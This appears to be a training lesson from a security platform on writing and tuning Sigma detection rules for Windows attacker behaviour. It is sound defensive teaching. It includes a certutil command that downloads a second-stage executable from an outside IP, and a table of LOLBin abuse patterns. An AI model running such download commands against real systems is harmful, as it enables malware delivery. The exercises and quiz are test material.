Browse CTFs New CTF Sign in

Detection Engineering: Writing and Tuning Sigma Rules

detection_engineering Difficulty 1–3 50 min certifiable

Theory

Prerequisites

  • COA-K002: MITRE ATT&CK for SOC Analysts
  • COA-K003: Windows Event Log Investigation

Why This Lesson Matters

Detection rules are the automation layer of the SOC. Every manual investigation you conduct should produce either a rule that catches the same attack automatically next time or a documented reason why it cannot. Detection engineering is not a separate team's job — it is a daily responsibility of every analyst above L1.


1. What is Sigma?

Sigma is an open, vendor-neutral format for writing SIEM detection rules. A Sigma rule describes attacker behaviour in YAML; tools convert it to the query language of any SIEM (Splunk SPL, Elastic KQL, Microsoft Sentinel KQL, etc.).

Attack behaviour (attacker action)
          ↓
  Sigma rule (vendor-neutral YAML)
          ↓ sigma convert
  ┌───────┬────────────┬────────────┐
  │Splunk │ Elastic    │ Sentinel   │
  │  SPL  │   KQL      │   KQL      │
  └───────┴────────────┴────────────┘

2. Sigma Rule Structure

title: Suspicious PowerShell Encoded Command Execution
id: e4a74c65-1234-5678-abcd-ef0123456789   # UUID — generate with uuidgen
status: experimental                         # experimental | test | stable
description: >
  Detects PowerShell executed with the -EncodedCommand flag, a technique
  commonly used to obfuscate malicious PowerShell (T1059.001 / T1027).
references:
  - https://attack.mitre.org/techniques/T1059/001/
author: SOC Analyst
date: 2026/06/08
modified: 2026/06/08
tags:
  - attack.execution
  - attack.t1059.001
  - attack.defense_evasion
  - attack.t1027
logsource:
  product: windows
  service: sysmon          # or: security, system, application
detection:
  selection:
    EventID: 1             # Sysmon process creation
    CommandLine|contains|all:
      - 'powershell'
      - '-EncodedCommand'
  condition: selection
falsepositives:
  - Legitimate IT automation scripts using -EncodedCommand
  - Configuration management tools (Ansible, Puppet)
level: high

2.1 Field Modifiers

Sigma modifiers alter how field comparisons work:

Modifier Meaning Example
contains Substring match CommandLine|contains: 'enc'
contains|all All values must be present contains|all: ['powershell', '-enc']
contains|any At least one value contains|any: ['cmd.exe', 'powershell']
startswith Prefix match Image|startswith: 'C:Windows'
endswith Suffix match Image|endswith: 'lsass.exe'
re Regular expression CommandLine|re: '(?i)-enc[^o]'

2.2 Condition Logic

# AND logic (all selections must match)
condition: selection_a and selection_b

# OR logic (either selection)
condition: selection_a or selection_b

# NOT (exclude false positives)
condition: selection and not filter_legit

# Count threshold
condition: selection | count() > 5

# Near — temporal proximity (not all SIEMs support this)
condition: selection_exec near selection_persist within 5m

3. Writing a Rule from an Incident

Scenario: During a web attack investigation, you discovered that the attacker used certutil.exe to download their second stage. certutil is a legitimate Windows binary (LOLBin) abused for download.

certutil.exe -urlcache -f http://185.220.101.5/stage2.exe C:Tempupdate.exe

Step 1 — Identify the detection primitive The abuse of certutil for download uses -urlcache and -f flags. These are not used in legitimate certutil workflows.

Step 2 — Write the Sigma rule

title: Certutil Download via URLCache
id: 3f7c9a11-...
status: test
description: Detects certutil.exe used as a download tool via -urlcache flag (T1105).
tags:
  - attack.command_and_control
  - attack.t1105
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith: 'certutil.exe'
    CommandLine|contains|all:
      - '-urlcache'
      - '-f'
  condition: selection
falsepositives:
  - Certificate management workflows (rare)
level: high

Step 3 — Convert to Splunk SPL

sigma convert -t splunk certutil_download.yml
# Output:
# EventID=1 Image="*\certutil.exe" CommandLine="*-urlcache*" CommandLine="*-f*"

Step 4 — Test and tune

Deploy in alert mode (not block). Count alerts over 7 days. Review FPs. Add exclusions:

  filter_legit:
    CommandLine|contains:
      - '-store'        # legitimate certificate store operations
      - '-enterprise'
  condition: selection and not filter_legit

4. Common LOLBins with Sigma Patterns

Binary Abuse technique Detection signal
certutil.exe Download, base64 decode -urlcache -f, -decode in CommandLine
mshta.exe Execute HTA from URL CommandLine contains http:// or https://
regsvr32.exe Execute COM scriptlet CommandLine contains /s /u /i:http
wscript.exe / cscript.exe Execute JS/VBS Child of Office, spawns cmd/powershell
bitsadmin.exe File download /transfer, /download in CommandLine
rundll32.exe Execute DLL CommandLine calls shell32/javascript
msiexec.exe Install from URL /q + http:// in CommandLine

5. False Positive Reduction Strategies

Strategy Example
Exclude known-good parent processes not ParentImage endswith 'chef-client.exe'
Exclude specific user/host combinations not (User='svc_ansible' and Image='*powershell.exe')
Exclude known-good hashes not Hashes|contains: 'SHA256=abc123...'
Require multiple conditions (AND) Combine CommandLine + ParentImage + user context
Time-window exclusions (SOAR) Suppress alerts during approved change windows

6. Practice Exercises

  1. Write a Sigma rule that detects the following behaviour: mshta.exe executing a URL-based HTA payload (CommandLine contains http:// or https://). Include a realistic false-positive note.

  2. A Sigma rule for "suspicious net.exe usage" has a 92% false positive rate. The CommandLine is net user — very common in admin environments. Propose three modifications to the rule that would reduce FPs without losing coverage of the attack technique.

  3. Convert the certutil Sigma rule from Section 3 to Elasticsearch Lucene query syntax manually (without using the sigma tool).


7. Lab

Assessment mode: quiz

You are given three incident investigation summaries. For each, write a Sigma rule that would have detected the attacker's behaviour, then answer questions about false positive rate and tuning strategy.

Your rules will be evaluated on: correct logsource, correct EventID, accurate field matching, and at least one false-positive filter.


8. Framework Alignment

Framework Role Competency Confidence
CCSSF-COA Cyber Security Operations Analyst Detection rule engineering and tuning High
CCSSF-ENG Security Engineer SIEM deployment and detection engineering High
CCSSF-CIR Cyber Incident Responder Post-incident detection improvement High
NICE 2.2.0 Cyber Defense Analyst S0167 — Skill in developing and implementing detection signatures High

9. Further Reading

  • Sigma GitHub repository — https://github.com/SigmaHQ/sigma — Rules + converter tool
  • Sigma Specification — https://sigmahq.io/docs/specification/ — Authoritative reference
  • LOLBAS Project — https://lolbas-project.github.io/ — Complete LOLBin catalogue
  • Florian Roth — "How to Write Sigma Rules" — https://www.nextron-systems.com/2018/02/10/write-sigma-rules/

Learning Objectives

["Write a syntactically correct Sigma rule for a described attacker behaviour, including logsource, detection logic with field modifiers, false-positives section, and ATT&CK tags", "Apply at least two false-positive reduction strategies to a Sigma rule that is generating excessive noise, and explain the trade-off of each strategy", "Convert a Sigma rule to Splunk SPL syntax using the sigma convert CLI tool and verify the output matches the original detection intent"]

Lesson Outline

Prerequisites → Why this matters → Sigma introduction (purpose, vendor-neutral portability) → Rule structure walkthrough (all fields) → Field modifiers (contains, startswith, endswith, re) → Condition logic (AND/OR/NOT/count) → Writing a rule from an incident (certutil LOLBin, 4-step process) → Common LOLBins with Sigma patterns → FP reduction strategies → Practice exercises → Quiz lab → Framework alignment → Further reading